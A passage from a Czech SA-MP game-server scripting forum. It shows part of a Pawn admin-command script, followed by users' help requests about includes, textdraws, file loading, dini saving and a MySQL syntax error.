]"); else if(strval(params[chrfind(' ',params)+1])>5 || strval(params[chrfind(' ',params)+1])<0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Rozmedzie levelov je 0 - 5 !"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dát Admin-Level NPC hráčovi"); else { new string[256]; format(string, sizeof(string), "Administrátor %s (%d) nastavil hráčovi %s (%d) Administrátora levelu %d !", PlayerName(playerid), playerid, PlayerName(id), id, strval(params[chrfind(' ',params)+1])); SendClientMessageToAll(COLOR_ADMIN, string); pAdminLevel[id] = strval(params[chrfind(' ',params)+1]); new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(pAdminLevel[playerid] > 0) { if(!fexist(way)) { dini_Create(way); new pass[16]; format(pass, 16, "%s", randompass(8)); dini_Set(way, "password", lyrhash(pass)); new str[128]; SendClientMessage(playerid, 0xFFFFFFFF, "Server ti vygeneroval náhodné heslo které budeš používat pri každém přihlašování"); format(str, 128, "Tvoje heslo: {ff0000}%s{ffffff}, Toto heslo si dobře zapamatuj", pass); SendClientMessage(playerid, 0xFFFFFFFF, str); SendClientMessage(playerid, 0xFFFFFFFF, "Toto heslo si můžeš změnit příkazem{ffff70}/achangepass [ NOVÉ HESLO ]"); } dini_IntSet(way, "adminlevel", pAdminLevel[playerid]); } else if(fexist(way)) fremove(way); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_settime(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /settime [ HOURS ] [ MINUTES ]"); else if(strval(params)<0 || strval(params)>23 || strval(params[chrfind(' ',params)+1])<0 || strval(params[chrfind(' ',params)+1])>59) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /settime [ 0-23 ] [ 0-59 ]"); else { new string[128]; format(string, sizeof(string), "Administrátor %s nastavil čas na %02d:%02d.", PlayerName(playerid), strval(params), strval(params[chrfind(' ',params)+1])); SendClientMessageToAll(COLOR_ADMIN, string); SetWorldTime(strval(params)); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_setweather(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setweather [ WEATHERID ]"); else if(strval(params)<0 || strval(params)>45) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setweather [ 0-45 ]"); else { new string[128]; format(string, sizeof(string), "Administrátor %s nastavil počasí %d.", PlayerName(playerid), strval(params)); SendClientMessageToAll(COLOR_ADMIN, string); SetWeather(strval(params)); } return 1; } //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// dcmd_elock(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new string[100]; format(string, sizeof(string), "Administrátor %s zamkl všechny auta", PlayerName(playerid)); for(new v=1; v<MAX_VEHICLES; v++) for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(v, i, 0, 1); SendClientMessageToAll(COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_getall(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else { new string[115]; format(string, sizeof(string), "Administrátor %s portl k sobě všechny hráče", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); new Float:x, Float:y, Float:z; GetPlayerPos(playerid, x, y, z); for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(i != playerid) { if(GetPlayerVehicleID(i) == 0) { SetPlayerPos(i, x+1, y, z); SetPlayerVirtualWorld(i, GetPlayerVirtualWorld(playerid)); SetPlayerInterior(i, GetPlayerInterior(playerid)); } else { SetVehiclePos(GetPlayerVehicleID(i), x+3, y, z); SetPlayerVirtualWorld(i, GetPlayerVirtualWorld(playerid)); SetPlayerInterior(i, GetPlayerInterior(playerid)); SetVehicleVirtualWorld(GetPlayerVehicleID(i), GetPlayerVirtualWorld(playerid)); } } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_freezeall(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else { new string[100]; format(string, sizeof(string), "Administrátor %s zmrazil všechny hráče", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(i != playerid) { TogglePlayerControllable(i, 0); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_iamadmin(playerid, params[]) { #pragma unused params if(!IsPlayerAdmin(playerid)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Musíš být přihlášený přes Rcon"); else { pAdminLevel[playerid] = 3; GameTextForPlayer(playerid, "~g~~h~Hotovo", 1000, 5); new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(!fexist(way)) { dini_Create(way); new pass[16]; format(pass, 16, "%s", randompass(8)); dini_Set(way, "password", lyrhash(pass)); new str[128]; SendClientMessage(playerid, 0xFFFFFFFF, "Server ti vygeneroval náhodné heslo které budeš používat při každém přihlašování"); format(str, 128, "Tvoje heslo: {ff0000}%s{ffffff}, toto heslo si dobře zapamatuj, při jeho strátě už to nepůjde obnovit", pass); SendClientMessage(playerid, 0xFFFFFFFF, str); SendClientMessage(playerid, 0xFFFFFFFF, "Toto heslo si můžeš změnit příkazem {ffff70}/achangepass [ NOVÉ HESLO ]"); } dini_IntSet(way, "adminlevel", 5); } return 1; }
  12. Fr0Gus

    pomoc y_ini

    Mám jeden velkej problém. Když si dám do složky pawno/include složku YSI s y_ini.inc a do pawna napíšu #include <YSI/y_ini> Tak mi to napíše že C:\Users\Frog\Desktop\SAMP SERVER 2\gamemodes\blablabla.pwn(2) : fatal error 100: cannot read from file: "YSI/y_ini" I když ho tam mám :/ Pls help, řeším to už x hodin... Jo a mimochodem zdravím všechny lidi po tom roce co jsem tu nebyl I když ho tam mám* pardon :DDD
  13. Zdravím! Delám si jednoduchej script na pohyb balonu,ale balon furt stojí a nehejbe se. forward CheckObj(); public CheckObj() { new Float:x, Float:y, Float:z; if(GetDynamicObjectPos(balonek, x, y, z)) { if(x == -2608.14600) if(y == -235.46602) if(z == -25.70728) { if(baloneknaspawnu == 0) { baloneknaspawnu = 1; SetTimer("JdiVis", 5000, 0); SendClientMessageToAll(-1, "balon přistal, odléta za 5 vteřin"); } } } else if(GetDynamicObjectPos(balonek, x, y, z)) { if(x == -2640.5615) if(y == -215.1547) if(z == 52.8805) { MoveDynamicObject(balonek, -2608.14600, -235.46602, 25.70728, 25.00); } } return 1; } forward JdiVis(); public JdiVis() { MoveDynamicObject(balonek, -2640.5615,-215.1547, 52.8805, 25.00); baloneknaspawnu = 0; return 1; }
  14. Zdravím dnes ráno jsem začal dělat na takovém menším FS. Bez toho aniž bych používal includ jakože je třeba dini. V tomto script používám i možnost ukládaní a načítaní. Ukládání funguje bez problému ale je tu problém při fRead. Jakože nevím zda je to tím či jsem už zapoměl na klasiku co používám strašně includu nebo jsem prostě slepej a nevidím jasnou chybu Člověk si jednou řekne stop includum a ono nic Zde je code: Načtení ze souboru Problem:Actoři se do hry nenačtou stock NacteniActora() { new vypsat[40][40],string[200];//Tato proměna je větší protože jsem chtěl dát ještě víc možností pro ukladaní ale řekl bych že toto stačí pro ukázku. new File:soubor = fopen("PLSSystemActor.txt", io_read); if(soubor) { new idac = 1; while(idac < MAX_ACTORS) { fread(soubor, string); split(string, vypsat, ','); ActorInfo[idac][aSkin] = strval(vypsat[0]); ActorInfo[idac][aX] = floatstr(vypsat[1]); ActorInfo[idac][aY] = floatstr(vypsat[2]); ActorInfo[idac][aZ] = floatstr(vypsat[3]); ActorInfo[idac][aA] = floatstr(vypsat[4]); { ActorInfo[idac][aIDA] = CreateActor(ActorInfo[idac][aSkin],ActorInfo[idac][aX],ActorInfo[idac][aY],ActorInfo[idac][aZ],ActorInfo[idac][aA]); } idac++; print("PLS System verze 0.1"); } } return 1; } K usnadnění práce použivám celkej použivanej stock split stock split(const strsrc[], strdest[][], delimiter) { new i, li; new aNum; new len; while(i <= strlen(strsrc)) { if(strsrc[i] == delimiter || i == strlen(strsrc)) { len = strmid(strdest[aNum], strsrc, li, i, 128); strdest[aNum][len] = 0; li = i+1; aNum++; } i++; } return 1; } Soubor ve scriptfiles obsahuje toto: Skin, X , Y Z Angle 294,2824.901123,-1905.060058,10.937500,94.667304 294,2824.705322,-1900.914184,10.937500,94.667304 294,2825.041015,-1896.078125,10.937500,94.667304 294,2824.216796,-1891.582641,10.937500,94.667304
  15. Riko

    pomoc Postup dále

    Chtěl bych se zeptat, jak bych měl pokračovat, pokud zcela ovládám TextDrawy, Warp (SetPlayerPos) atd. Chtěl jsem začít tím, že vytvořím TuneMenu, carmenu nebo WeaponMenu, ale pořád neumím ovládat podmínky pořádně, např když je hráč VIP atd ... a stejně ani nevím jak mám začít s carmenu atd ... prosím, poraďte, čím bych měl dále rozvíjet svou "schopnost" v pwn, ked ani duel nevím udělat som taký malej mentál no ... Dík za vaše rady.
  16. Paulee

    pomoc Ukládání

    Zdravím, Tak jsem tu zase s dalším problémem . Udělal jsem si ukládání bez žádných ini souborů atd. Snažil jsem na to převést své staré ukládání s DOF2. Vše to píše bez erroru, ale prostě se to neuloží. Je tam furt toto Nahoře mám toto: OnPlayerConnect: OnPlayerDisconnect: Příkaz na admin level: Nevíte co stím? Budu rád za každý příspěvek
  17. Ahoj, myslím, že název tématu hovoří za vše. Prostě jedu jakýmkoliv autem a stačí, aby se z něj trošku čoudilo nebo, když ho otočím na střechu, začne hořet a bouchne, tak mi spadne hra. Nevíte někdo čím to může být? Předem děkuji za pomoc.
  18. Zdravím, Mám problém s tímto. #include <a_samp> new Text:Info; public OnGamemodeInit() { Info = TextDrawCreate(190, 120, "/HELP - VESKERE INFORMACE O SERVERU"); TextDrawFont(Info, 2); TextDrawColor(Info, 0x247514FF); TextDrawSetProportional(Info, 1); TextDrawSetShadow(Info, 0); TextDrawSetOutline(Info, 1); TextDrawLetterSize(Info, 2, 4); } public OnPlayerConnect(playerid) { TextDrawShowForPlayer(playerid, Info); } Před tímto jsem dělal tento script a bylo to bez problému. #include <a_samp> new Text:WebLogo1; new Text:WebLogo2; new Text:WebLogo3; new Text:WebLogo4; public OnGameModeInit() { WebLogo1 = TextDrawCreate(40.000000, 295.000000, "PARADISE"); TextDrawBackgroundColor(WebLogo1, 255); TextDrawFont(WebLogo1, 2); TextDrawLetterSize(WebLogo1, 0.228, 1.9); TextDrawColor(WebLogo1, 0x00FF00FF); TextDrawSetOutline(WebLogo1, 0); TextDrawSetProportional(WebLogo1, 1); TextDrawSetSelectable(WebLogo1, 0); TextDrawSetShadow(WebLogo1, 0); ///////////////////////////////////////////////////////////////// WebLogo2 = TextDrawCreate(86.300000, 295.000000, "WORLD"); TextDrawBackgroundColor(WebLogo2, 255); TextDrawFont(WebLogo2, 2); TextDrawLetterSize(WebLogo2, 0.228, 1.9); TextDrawColor(WebLogo2, 0xFFFFFFFF); TextDrawSetOutline(WebLogo2, 0); TextDrawSetProportional(WebLogo2, 1); TextDrawSetSelectable(WebLogo2, 0); TextDrawSetShadow(WebLogo2, 0); //////////////////////////////////////////////////////////////// WebLogo3 = TextDrawCreate(119.300000, 299.000000, "1.1"); TextDrawBackgroundColor(WebLogo3, 255); TextDrawFont(WebLogo3, 2); TextDrawLetterSize(WebLogo3, 0.32, 1.3); TextDrawColor(WebLogo3, 0xFF0000FF); TextDrawSetOutline(WebLogo3, 0); TextDrawSetProportional(WebLogo3, 1); TextDrawSetSelectable(WebLogo3, 0); TextDrawSetShadow(WebLogo3, 0); /////////////////////////////////////////////////////////////// WebLogo4 = TextDrawCreate(39.200000, 307.000000, "www.pw.mzf.cz"); TextDrawBackgroundColor(WebLogo4, 255); TextDrawFont(WebLogo4, 1); TextDrawLetterSize(WebLogo4, 0.24, 1.2); TextDrawColor(WebLogo4, 0xFFFFFFFF); TextDrawSetProportional(WebLogo4, 1); TextDrawSetShadow(WebLogo4, 0); } public OnPlayerCommandText(playerid, cmdtext[]) { if(strcmp("/showtext", cmdtext, true, 10) == 0) { TextDrawShowForPlayer(playerid, WebLogo1); TextDrawShowForPlayer(playerid, WebLogo2); TextDrawShowForPlayer(playerid, WebLogo3); TextDrawShowForPlayer(playerid, WebLogo4); return 1; } if(strcmp("/hidetext", cmdtext, true, 10) == 0) { TextDrawHideForPlayer(playerid, WebLogo1); TextDrawHideForPlayer(playerid, WebLogo2); TextDrawHideForPlayer(playerid, WebLogo3); return 1; } return 0; } Je možné, že warning 235: public function lacks forward declaration (symbol "OnGamemodeInit") mohl způsobit public OnPlayerConnect přičemž u druhého fska (druhý kód) je OnPlayerCommandText? Díky za Vaše rady
  19. Zdravím, "Dělal" jsem si svůj vlastní mod, kde jsem si chtěl udělat pár věcí. Na ten mod jsem už několik měsíců nesáhl, ale dnes jsem se rozhodl, že si ho spustím na serveru, který mám v ntb. Vše zapíšu do configu, ale mod prostě nechce naskočit. V konzoli to píše tuto chybu: ZDE. Poradíte? Přeji pěkný den, S pozdravem Petr .
  20. Zdravím, ví někdo, jak odebrat odraz za textem "PARADISE"? Když dám Outline 0 tak je za textem odraz, ale já nechci, aby tam byl odraz a ani aby nebyl text ohraničený čarou. Pak jestli někdo nezná nějaký šikovný program na zjištění pozice na monitoru pro umístění textdrawu. WebLogo1 = TextDrawCreate(38.000000, 295.000000, "PARADISE"); TextDrawFont(WebLogo1, 2); TextDrawSetOutline(WebLogo1, 1); TextDrawLetterSize(WebLogo1, 0.125000, 1.752000); TextDrawBackgroundColor(WebLogo1, 255); TextDrawColor(WebLogo1, 0x00FF00FF); TextDrawSetProportional(WebLogo1, 0); TextDrawSetSelectable(WebLogo1, 0); Díky
  21. Ahoj, Mám problém s MySQL když se odpojím hodí to ERROR do mysql_log.txt. [04:53:04] [ERROR] CMySQLQuery::Execute[] - (error #1064) You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'frakce`='0', `rank`' at line 1 v OnPlayerDisconnect mám: uloz_hrace(playerid); a ve funkci uloz_hrace(playerid): uloz_hrace(playerid) { if(Player[playerid][prihlasen] == 0) return 1; new query[128]; new Float:x, Float:y, Float:z, Float:a; GetPlayerPos(playerid, x, y, z); GetPlayerFacingAngle(playerid, a); format(query, sizeof(query), "UPDATE `user` SET `admin`='%i', `money`='%i', `PosX`='%f', `PosY`='%f', `PosZ='%f', `frakce`='%d', `rank`='%d' WHERE `id`='%d'", Player[playerid][Admin],GetPlayerMoney(playerid),x,y,z,Player[playerid][frakce],Player[playerid][rank],Player[playerid][ID]); mysql_function_query(dbhandle, query, false, "", ""); return 1; } Nevím proč, ale furt to prostě neukládá pozici.
  22. public SavePlayerAccount(playerid) dini_Set(way,"Bydliste", Player[playerid][bydliste]); dini_Set(way,"Pohlavi", Player[playerid][Pohlavi]); dini_Set(way,"Podpis", Player[playerid][Podpis]); dini_Set(way,"DatumNar", Player[playerid][DatumNar]); public OnDialogResponse dini_Set(way,"Bydliste",""); dini_Set(way,"Pohlavi",""); dini_Set(way,"Podpis",""); dini_Set(way,"DatumNar",""); login dialog format(Player[playerid][bydliste], 26, dini_Get(way, "Bydliste")); format(Player[playerid][Pohlavi], 26, dini_Get(way, "Pohlavi")); format(Player[playerid][Podpis], 26, dini_Get(way, "Podpis")); format(Player[playerid][DatumNar], 26, dini_Get(way, "DatumNar")); public onplayerdiconnect dini_Set(way,"Bydliste", Player[playerid][bydliste]); dini_Set(way,"Pohlavi", Player[playerid][Pohlavi]); dini_Set(way,"Podpis", Player[playerid][Podpis]); dini_Set(way,"DatumNar", Player[playerid][DatumNar]); chyby nic nehází, ale vždy po chvíli hraní vše vynuluje a to samé při odpojení
  23. Ahoj. Už delší dobu se zajímám o obrázky pomocí textdrawu. Chtěl bych pomocí obrázku a nějakých jiných funkcí udělat mapu. Ale to záleží, jestli správně pochopím přidání obrázků. Pro textdrawy používám tento editor: http://forum.sa-mp.com/showthread.php?t=376758 Obrázky jsem vypozoroval, že se vkládají pomocí změny textu. Například na samps:map nebo hud:arrow A zde je ten problém, který nevím jak vyřešit. Zde je jednoduchý návod jak najít potřebný soubor a obrázek v něm. http://forum.sa-mp.com/showthread.php?t=320117 Toto ještě stále Chápu, Abych to pochopil, tak jsem jsem si stáhl TXD workshop. 1) Domovský adresář myslím tím, odkud hra čte tdx. Nevím, kde je domovský adresář. Před předčtením návodu jsem si myslel, že domovská adresa je tato: GTA San Andreas\models Ale v návodu uvádí, že domovský adresář je v GTA San Andreas\models\txd A s tímto problémem je spjatý i druhý problém. 2) Pokud do editoru textdrawu napíšu například samps:map nebo hud:arrow (například) vůbec nic se nezobrazí. V prvním případě soubor pod názvem samps neexistuje. Ani když jsem se pokoušel ho ručně založit pomocí TXD workshopu, tak se nic nezobrazilo. Moje otázka tedy zní, dělám něco špatně? Nechápu něco? Nebo snad mi chybí nějaké soubory ve hře, když všem ostatním na internetu co jsem hledal tento krok funguje bezchybně? Díky za odpovědi a za případnou pomoc!
  24. Riko

    pomoc PHP Ban List

    Zdravím, Ví někdo, jak vytvořit online FTP Banlist na WordPress (PHP) webu, popřípadě mi odeslal již vytvořený kód s tabulkou atd a já jen upravil FTP údaje? Ozvěte se mi prosím na Skype waymootrze. Díky a hezký zbytek dne.
  25. Riko

    pomoc TextDraw Chat

    Zdravím, Bola by tu nějaká hodná duše a poradila by mi kód na TexDraw chat? (jednalo by se spíše o chat na Warpy) Díky za rady S pozdarvom, Waymoot
×
×
  • Create New...